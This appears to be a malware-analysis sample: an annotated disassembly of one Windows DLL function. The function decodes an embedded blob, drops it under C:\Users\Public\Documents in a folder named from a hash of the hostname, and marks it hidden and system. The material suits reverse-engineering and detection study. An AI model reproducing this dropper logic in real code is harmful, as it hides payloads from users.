Function at 0x1800012b0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Encode data using xor
Get file attributes
Get hostname
Hash data using jshash
Set file attributes
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x5f0]
sub rsp, 0x6f0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x5e0], rax
movdqa xmm0, xmmword [str.C:UsersPublic_]
lea rcx, [rbp + 0xaa]
xor edx, edx
movdqa xmmword [rbp + 0x90], xmm0
mov r8d, 0xea
mov dword [rbp + 0xa0], 0x75636f44
mov dword [rbp + 0xa4], 0x746e656d
mov word [rbp + 0xa8], 0x5c73
call fcn.180003830
xor edx, edx
mov dword [rbp + 0x1a0], 0x74626465
mov r8d, 0xfa
mov dword [rbp + 0x1a4], 0x6c2e706d
lea rcx, [rbp + 0x1aa]
mov word [rbp + 0x1a8], 0x676f
call fcn.180003830
xor edx, edx
lea rcx, [rbp + 0x4d0]
mov r8d, 0x104
call fcn.180003830
xor edx, edx
mov dword [rsp + 0x40], 0x74626465
mov r8d, 0xf7
mov dword [rsp + 0x44], 0x6142706d
lea rcx, [rsp + 0x4d]
mov dword [rsp + 0x48], 0x6f6c2e6b
mov byte [rsp + 0x4c], 0x67
call fcn.180003830
xor eax, eax
mov dword [rbp + 0x50], 0x104
xor edx, edx
mov qword [rbp + 0x58], rax
mov r8d, 0x104
mov byte [rbp + 0x60], al
lea rcx, [rbp + 0x3c0]
call fcn.180003830
xor edx, edx
lea rcx, [rbp + 0x2b0]
mov r8d, 0x104
call fcn.180003830
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov eax, dword [rbp + 0x50]
lea r8, [rbp + 0x3c0]
mov edx, 0x4e67c6a7
test eax, eax
je 0x18000141f
mov r9d, eax
nop dword [rax]
nop dword [rax + rax]
mov ecx, edx
lea r8, [r8 + 1]
shl ecx, 5
mov eax, edx
shr eax, 2
add ecx, eax
movsx eax, byte [r8 - 1]
add ecx, eax
xor edx, ecx
sub r9, 1
jne 0x180001400
mov eax, dword [0x18001b920]
xor ebx, ebx
movups xmm0, xmmword [str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov dword [rbp + 0x88], eax
mov ecx, ebx
movups xmm1, xmmword [0x18001b910]
movzx eax, byte [0x18001b924]
mov r9d, ebx
movups xmmword [rbp + 0x68], xmm0
mov byte [rbp + 0x8c], al
movups xmmword [rbp + 0x78], xmm1
nop word [rax + rax]
mov eax, edx
lea r9, [r9 + 1]
and eax, 0xf
shr edx, 4
mov r10d, ecx
inc ecx
movzx eax, byte [rbp + rax + 0x68]
mov byte [rbp + r9 + 0x57], al
test edx, edx
jne 0x180001460
mov eax, r10d
movsxd rcx, ecx
mov r8, rbx
cdq
mov byte [rbp + rcx + 0x58], bl
cmp byte [rbp + 0x58], 0x2d
sete r8b
sub eax, edx
sar eax, 1
movsxd r10, eax
cmp r8, r10
jg 0x1800014cd
lea rdx, [rbp + r9 + 0x57]
nop word [rax + rax]
movzx eax, byte [rdx]
lea rdx, [rdx - 1]
movzx ecx, byte [rbp + r8 + 0x58]
mov byte [rbp + r8 + 0x58], al
inc r8
mov byte [rdx + 1], cl
cmp r8, r10
jle 0x1800014b0
lea rcx, [rbp + 0x2b0]
dec rcx
cmp byte [rcx + 1], bl
lea rcx, [rcx + 1]
jne 0x1800014d7
lea r8, [rbp + 0x58]
xor edx, edx
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1800014f0
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x2b0]
mov byte [rbp + rcx + 0x3c0], al
lea rcx, [rcx + 1]
test al, al
jne 0x180001510
lea rcx, [rbp + 0x90]
dec rcx
cmp byte [rcx + 1], bl
lea rcx, [rcx + 1]
jne 0x180001531
lea r8, [rbp + 0x3c0]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180001550
lea rcx, [rbp + 0x90]
dec rcx
nop word [rax + rax]
cmp byte [rcx + 1], bl
lea rcx, [rcx + 1]
jne 0x180001570
movzx eax, word [0x18001b928]
mov word [rcx], ax
mov rcx, rbx
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x90]
mov byte [rbp + rcx + 0x4d0], al
lea rcx, [rcx + 1]
test al, al
jne 0x180001590
lea rcx, [rbp + 0x4d0]
dec rcx
cmp byte [rcx + 1], bl
lea rcx, [rcx + 1]
jne 0x1800015b1
lea r8, [rsp + 0x40]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1800015d0
lea rcx, [rbp + 0x90]
call fcn.1800011f0
lea rcx, [rbp + 0x90]
dec rcx
cmp byte [rcx + 1], bl
lea rcx, [rcx + 1]
jne 0x1800015f6
lea r8, [rbp + 0x1a0]
xor edx, edx
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180001610
xor edx, edx
lea rcx, [rbp + 0x2b0]
mov r8d, 0x104
call fcn.180003830
lea rax, [rbp + 0x90]
mov rsi, 0xffffffffffffffff
inc rsi
cmp byte [rax + rsi], bl
jne 0x180001642
mov rdi, rbx
test rsi, rsi
je 0x18000168c
cmp byte [rbp + rdi + 0x90], 0x5c
jne 0x180001684
mov r8, rdi
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x2b0]
call fcn.18000757c
mov edx, 0x80
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
inc rdi
cmp rdi, rsi
jb 0x180001652
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1800016c3
mov edx, 0x80
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x90]
call fcn.180007440
mov ecx, 0x1545
call fcn.1800076fc
mov rdi, rax
test rax, rax
je 0x180001835
xor eax, eax
lea rdx, [0x180130e70]
mov r8d, 0x1544
mov byte [rdi + 0x1544], al
mov rcx, rdi
call fcn.180004470
mov edx, ebx
mov rcx, rdi
nop dword [rax + rax]
movzx eax, byte [rcx]
test al, al
je 0x18000170b
dec al
mov byte [rcx], al
inc edx
inc rcx
cmp edx, 0x1544
jb 0x180001700
mov qword [rsp + 0x30], rbx
lea rcx, [rbp + 0x90]
mov dword [rsp + 0x28], ebx
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180001835
lea r9, [rbp + 0x54]
mov qword [rsp + 0x20], rbx
mov r8d, 0x1544
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x180001796
mov edx, 7
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rcx, rdi
call fcn.1800076e8
xor edx, edx
lea rcx, [rbp + 0x1a0]
mov r8d, 0x104
call fcn.180003830
lea rax, [rbp + 0x90]
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], bl
jne 0x1800017c0
test rdi, rdi
je 0x18000182e
nop dword [rax]
cmp byte [rbp + rbx + 0x90], 0x5c
jne 0x180001826
mov r8, rbx
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x1a0]
call fcn.18000757c
lea rcx, [rbp + 0x1a0]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x180001800
lea rcx, [rbp + 0x1a0]
mov edx, 7
cmp rax, 0x19
ja 0x180001820
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
inc rbx
cmp rbx, rdi
jb 0x1800017d0
mov eax, 1
jmp 0x180001837
xor eax, eax
mov rcx, qword [rbp + 0x5e0]
xor rcx, rsp
call fcn.1800022e0
lea r11, [rsp + 0x6f0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret